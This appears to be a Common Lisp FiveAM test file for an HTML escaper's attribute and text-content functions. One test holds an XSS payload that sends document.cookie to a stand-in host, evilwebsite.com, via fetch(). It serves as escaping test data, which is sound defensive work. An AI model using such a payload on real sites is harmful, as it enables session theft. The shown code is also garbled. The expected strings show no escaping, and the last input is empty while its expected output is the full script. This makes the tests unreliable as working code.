(defpackage #:hsx-test/escaper (:use #:cl #:fiveam #:hsx/escaper)) (in-package #:hsx-test/escaper) (def-suite escaper-test) (in-suite escaper-test) (test escape-html-attribute (is (equal ""foo"" (escape-html-attribute "\"foo\"")))) (test escape-html-text-content (is (string= "&<>"'/`=" (escape-html-text-content "&<>\"'/`="))) (is (string= "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>" (escape-html-text-content "" ))))